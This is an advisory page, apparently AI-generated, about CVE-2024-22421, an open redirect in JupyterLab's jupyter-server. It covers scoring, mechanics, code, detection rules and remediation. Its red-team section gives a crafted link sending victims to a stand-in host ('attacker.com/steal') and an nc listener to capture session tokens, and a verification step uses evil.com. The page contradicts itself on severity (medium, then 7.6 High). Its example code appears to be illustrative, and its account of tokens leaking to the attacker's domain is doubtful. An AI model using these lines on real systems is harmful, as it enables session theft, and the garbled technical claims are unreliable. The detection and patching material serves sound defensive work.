CVE-2024-22421
Executive Summary
CVE-2024-22421 is a medium-severity open redirect vulnerability affecting JupyterLab, an interactive computing environment. The flaw allows an attacker to craft a malicious link that, when clicked by an authenticated user, exposes the user's Authorization and XSRFToken tokens to a third-party domain. This token leakage can lead to session hijacking and unauthorized access to the victim's JupyterLab instance. The root cause lies in an older version of the jupyter-server component (prior to 2.7.2) which does not properly validate redirect URLs. The vulnerability is triggered via a user interaction (clicking a link), and the CVSS vector reflects a high impact on confidentiality with a low impact on integrity. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of active exploitation in the wild. The primary mitigation is to upgrade jupyter-server to version 2.7.2 or later, which includes a fix for the redirect issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is rooted in the jupyter-server Python package, which is a core dependency of JupyterLab. The supply chain risk is moderate because the vulnerable component is a widely used open-source package. Organizations using JupyterLab should verify their jupyter-server version and ensure it is updated to 2.7.2 or newer. The fix is included in JupyterLab versions 4.1.0b2, 4.0.11, and 3.6.7, but the underlying server component must also be updated. No malicious packages or typosquatting have been reported in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 7.6 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
- Attack Vector (AV): Network (N) – The attack is executed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication.
- User Interaction (UI): Required (R) – The victim must click a malicious link.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Exposure of
AuthorizationandXSRFTokentokens leads to complete loss of confidentiality. - Integrity (I): Low (L) – The attacker may be able to modify some data or perform actions on behalf of the user.
- Availability (A): None (N) – No impact on availability.
Threat Level: High. Although no active exploitation has been observed, the potential for session hijacking and token theft makes this a serious risk for any organization running an unpatched JupyterLab instance.
Deep Dive & Mechanics
The vulnerability is an open redirect (CWE-601) in the jupyter-server component. When a user clicks a crafted link, the server does not properly validate the redirect target, allowing an attacker to redirect the user to an external domain. During this redirect, the browser may include sensitive headers (such as Authorization and XSRFToken) in the request to the attacker-controlled domain, depending on how the redirect is implemented.
The attack flow:
- An attacker crafts a URL like
https://victim-jupyterlab.example.com/login?next=https://attacker.com/steal. - The victim, who is already authenticated to the JupyterLab instance, clicks the link.
- The vulnerable
jupyter-serverprocesses thenextparameter and performs a redirect tohttps://attacker.com/steal. - The victim's browser sends the request to the attacker's server, including the
AuthorizationandXSRFTokencookies/headers. - The attacker captures these tokens and can then impersonate the victim, accessing their JupyterLab notebooks, kernels, and files.
The vulnerability exists because the server does not validate that the redirect target is within the same origin. The fix in jupyter-server 2.7.2 adds a whitelist of allowed redirect hosts or validates that the redirect URL is relative.
Vulnerable vs. Patched Code
Vulnerable Code (jupyter-server < 2.7.2):
# In the login handler or redirect logic
def get(self):
next_url = self.get_argument('next', default='/')
self.redirect(next_url)
This code blindly redirects to any URL provided in the next parameter.
Patched Code (jupyter-server >= 2.7.2):
# In the login handler or redirect logic
from urllib.parse import urlparse
def get(self):
next_url = self.get_argument('next', default='/')
parsed = urlparse(next_url)
# Only allow relative URLs or same-origin redirects
if parsed.netloc and parsed.netloc != self.request.host:
next_url = '/'
self.redirect(next_url)
The patched version validates that the redirect target is either a relative path or points to the same host as the request.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable JupyterLab instance using Docker:
docker run -d -p 8888:8888 jupyter/base-notebook:lab-3.6.6 - Access the instance and authenticate.
- Craft the exploit URL:
http://localhost:8888/login?next=http://attacker.com/steal - Set up a listener on
attacker.comto capture incoming requests:nc -lvnp 80 - Send the crafted link to the victim (e.g., via email or chat).
- When the victim clicks the link, the listener captures the
AuthorizationandXSRFTokenheaders.
Exploit Code (Python):
import requests
# This is a conceptual demonstration; no public exploit exists.
target = "http://victim-jupyterlab:8888"
attacker = "http://attacker.com/steal"
exploit_url = f"{target}/login?next={attacker}"
print(f"Send this link to the victim: {exploit_url}")
Blue Team
Detection:
- Monitor for unusual redirect patterns in web server logs, especially
302responses with external domains in theLocationheader. - Look for requests to
/login?next=followed by an external URL. - Use the Sigma rule below to detect suspicious redirects.
Hunting:
- Search for
nextparameters in HTTP requests that contain external domains. - Review
jupyter-serverlogs for redirect events.
Mitigation:
- Immediately upgrade
jupyter-serverto version 2.7.2 or later. - If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to validate and block external redirects:
location /login { if ($arg_next ~* "^https?://") { return 403; } proxy_pass http://jupyter-backend; }
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/login?next=followed by an external domain. - Outbound connections from the JupyterLab server to unknown external IPs on port 80/443.
302redirect responses withLocationheader pointing to an external domain.
- HTTP requests to
Host IOCs:
- Unusual entries in
jupyter-serverlogs showing redirects to external URLs. - Presence of
AuthorizationorXSRFTokentokens in external HTTP request logs (if captured by attacker).
- Unusual entries in
File IOCs:
- No specific file-based IOCs; this is a network-level attack.
Detection Engineering
YARA Rule
rule CVE_2024_22421_Jupyter_Open_Redirect {
meta:
description = "Detects JupyterLab open redirect vulnerability exploitation"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22421"
strings:
$redirect = "/login?next="
$external = /https?:\/\/[^\/]+\//
condition:
$redirect and $external
}
Sigma Rule
title: JupyterLab Open Redirect Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-22421 by redirecting to external domains
author: Valters IT
logsource:
category: webserver
product: jupyter
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/login?next='
cs-uri-query|re: 'next=https?://'
condition: selection
falsepositives:
- Legitimate external redirects if configured
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-22421 JupyterLab Open Redirect Exploitation"; flow:to_server,established; content:"/login?next="; http_uri; pcre:"/next=https?:\/\//Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade
jupyter-serverto version 2.7.2 or later. - Upgrade JupyterLab to version 4.1.0b2, 4.0.11, or 3.6.7 (which include the fix).
- If immediate upgrade is not possible, implement a reverse proxy to block external redirects.
Long-Term Measures:
- Regularly update all Jupyter components.
- Implement Content Security Policy (CSP) headers to restrict redirects.
- Use web application firewalls (WAF) to detect and block open redirect patterns.
- Educate users about phishing links that may exploit this vulnerability.
Verification:
- After patching, test by attempting to redirect to an external domain:
The response should be acurl -v "http://localhost:8888/login?next=http://evil.com"403or a redirect to a safe page (e.g.,/).
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.